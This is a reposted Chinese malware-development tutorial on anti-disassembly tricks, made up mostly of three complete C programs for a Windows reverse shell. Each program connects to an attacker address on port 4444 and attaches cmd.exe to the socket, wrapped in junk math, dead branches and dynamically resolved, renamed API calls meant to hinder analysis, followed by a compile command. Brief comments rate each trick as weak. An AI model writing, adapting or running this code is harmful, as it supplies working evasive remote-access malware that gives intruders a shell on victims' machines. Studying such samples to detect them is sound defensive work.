【MalDev-09】对抗反汇编-1

admin 2024年12月9日10:25:53评论7 views字数 6488阅读21分37秒阅读模式

03-对抗反汇编

01-常见对抗反汇编技术

比如API混淆、汇编代码混淆、控制流程扁平化等

加入一下数学运算干扰反汇编分析

#include <winsock2.h>
#include <windows.h>
#include <math.h>
#include <stdio.h>
#pragma comment(lib, "w2_32")

// define a dummy function with math operations
void dummyFunction() {
  volatile int x = 0;
  x += 1;
  x -= 1;
  x *= 2;
  x /= 2;

  // Additional complex math operations
  double y = 2.5;
  double z = 3.7;
  double result = 0.0;

  // Perform math operations
  result = sqrt(pow(y, 2) + pow(z, 2)); // Calculate square root of sum of squares
  result = sin(result); // Calculate sine of the result
  result = cos(result); // Calculate cosine of the result
  result = tan(result); // Calculate tangent of the result

  // Use the result to perform more operations
  for (int i = 0; i < 10; ++i) {
    result *= i;
    result /= (i + 1);
    result += i;
  }

  // Use the final result to perform some conditional operations
  if (result > 100) {
    result -= 100;
  } else {
    result += 100;
  }
}

WSADATA socketData;
SOCKET mainSocket;
struct sockaddr_in connectionAddress;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;

int main(int argc, char* argv[]) {
  
  // ip and port details for the attacker's machine
  char *attackerIP = "10.10.1.5";
  short attackerPort = 4444;

  // initialize socket library
  WSAStartup(MAKEWORD(22), &socketData);

  // create socket object
  mainSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

  connectionAddress.sin_family = AF_INET;
  connectionAddress.sin_port = htons(attackerPort);
  connectionAddress.sin_addr.s_addr = inet_addr(attackerIP);

  // establish connection to the remote host
  WSAConnect(mainSocket, (SOCKADDR*)&connectionAddress, sizeof(connectionAddress), NULLNULLNULLNULL);

  memset(&startupInfo, 0sizeof(startupInfo));
  startupInfo.cb = sizeof(startupInfo);
  startupInfo.dwFlags = STARTF_USESTDHANDLES;
  startupInfo.hStdInput = startupInfo.hStdOutput = startupInfo.hStdError = (HANDLE) mainSocket;

  // initiate cmd.exe with redirected streams
  CreateProcess(NULL"cmd.exe"NULLNULL, TRUE, 0NULLNULL, &startupInfo, &processInfo);

  // call the dummy function to insert junk instructions
  dummyFunction();

  exit(0);
}

dummyFunction中是一些数学运算,在main中进行调用,增加分析工作量(太弱了)

下面是jz和jnz结合的方法

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "w2_32")

WSADATA socketData;
SOCKET mainSocket;
struct sockaddr_in connectionAddress;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;

int main(int argc, char* argv[]) {
  
  // ip and port details for the attacker's machine
  char *attackerIP = "10.10.1.5";
  short attackerPort = 4444;

  // initialize socket library
  WSAStartup(MAKEWORD(22), &socketData);

  // create socket object
  mainSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

  connectionAddress.sin_family = AF_INET;
  connectionAddress.sin_port = htons(attackerPort);
  connectionAddress.sin_addr.s_addr = inet_addr(attackerIP);

  // establish connection to the remote host
  WSAConnect(mainSocket, (SOCKADDR*)&connectionAddress, sizeof(connectionAddress), NULLNULLNULLNULL);

  memset(&startupInfo, 0sizeof(startupInfo));
  startupInfo.cb = sizeof(startupInfo);
  startupInfo.dwFlags = STARTF_USESTDHANDLES;
  startupInfo.hStdInput = startupInfo.hStdOutput = startupInfo.hStdError = (HANDLE) mainSocket;

  // Combine jz with jnz trick without inline assembly
  int a = 1;
  if (a == 1) {
    // initiate cmd.exe with redirected streams
    CreateProcess(NULL"cmd.exe"NULLNULL, TRUE, 0NULLNULL, &startupInfo, &processInfo);
    // Jump to the next instruction
    if (a == 0) {
      // This block will never execute
      printf("This block will never executen");
    }
  }

  exit(0);
}

增加jz和jnz的判断,干扰分析人员(弱爆了)

02-函数控制

动态解析函数地址,重命名原来函数名称

// define obfuscated function pointer types for Winsock functions
typedef int (WSAAPI *WSAStartup_t)(WORD, LPWSADATA);
typedef SOCKET (WSAAPI *WSASocket_t)(intintint, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WSAAPI *WSAConnect_t)(SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);

// Resolve function addresses dynamically
WSAStartup_t Cat = (WSAStartup_t)GetProcAddress(hWS2_32, "WSAStartup");
WSASocket_t Dog = (WSASocket_t)GetProcAddress(hWS2_32, "WSASocketA");
WSAConnect_t Mouse = (WSAConnect_t)GetProcAddress(hWS2_32, "WSAConnect");

完整代码

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "w2_32")

// define obfuscated function pointer types for Winsock functions
typedef int (WSAAPI *WSAStartup_t)(WORD, LPWSADATA);
typedef SOCKET (WSAAPI *WSASocket_t)(intintint, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WSAAPI *WSAConnect_t)(SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);

WSADATA socketData;
SOCKET mainSocket;
struct sockaddr_in connectionAddress;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;

int main(int argc, char* argv[]) {
  
  // ip and port details for the attacker's machine
  char *attackerIP = "10.10.1.5";
  short attackerPort = 4444;

  HMODULE hWS2_32 = LoadLibrary("ws2_32.dll");

  // Resolve function addresses dynamically
  WSAStartup_t Cat = (WSAStartup_t)GetProcAddress(hWS2_32, "WSAStartup");
  WSASocket_t Dog = (WSASocket_t)GetProcAddress(hWS2_32, "WSASocketA");
  WSAConnect_t Mouse = (WSAConnect_t)GetProcAddress(hWS2_32, "WSAConnect");

  // initialize socket library
  Cat(MAKEWORD(22), &socketData);

  // create socket object
  mainSocket = Dog(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

  connectionAddress.sin_family = AF_INET;
  connectionAddress.sin_port = htons(attackerPort);
  connectionAddress.sin_addr.s_addr = inet_addr(attackerIP);

  // establish connection to the remote host
  Mouse(mainSocket, (SOCKADDR*)&connectionAddress, sizeof(connectionAddress), NULLNULLNULLNULL);

  memset(&startupInfo, 0sizeof(startupInfo));
  startupInfo.cb = sizeof(startupInfo);
  startupInfo.dwFlags = STARTF_USESTDHANDLES;
  startupInfo.hStdInput = startupInfo.hStdOutput = startupInfo.hStdError = (HANDLE) mainSocket;

  // initiate cmd.exe with redirected streams
  CreateProcess(NULL"cmd.exe"NULLNULL, TRUE, 0NULLNULL, &startupInfo, &processInfo);
  exit(0);
}

编译

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lws2_32

编译后运行,反汇编看不到原来函数名,但是调用关系应该还是可以看出来的(似乎没啥大用)

配套实验环境和电子书加Q拉群下载

【MalDev-09】对抗反汇编-1

原文始发于微信公众号(高级红队专家):【MalDev-09】对抗反汇编-1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月9日10:25:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【MalDev-09】对抗反汇编-1https://cn-sec.com/archives/3484444.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息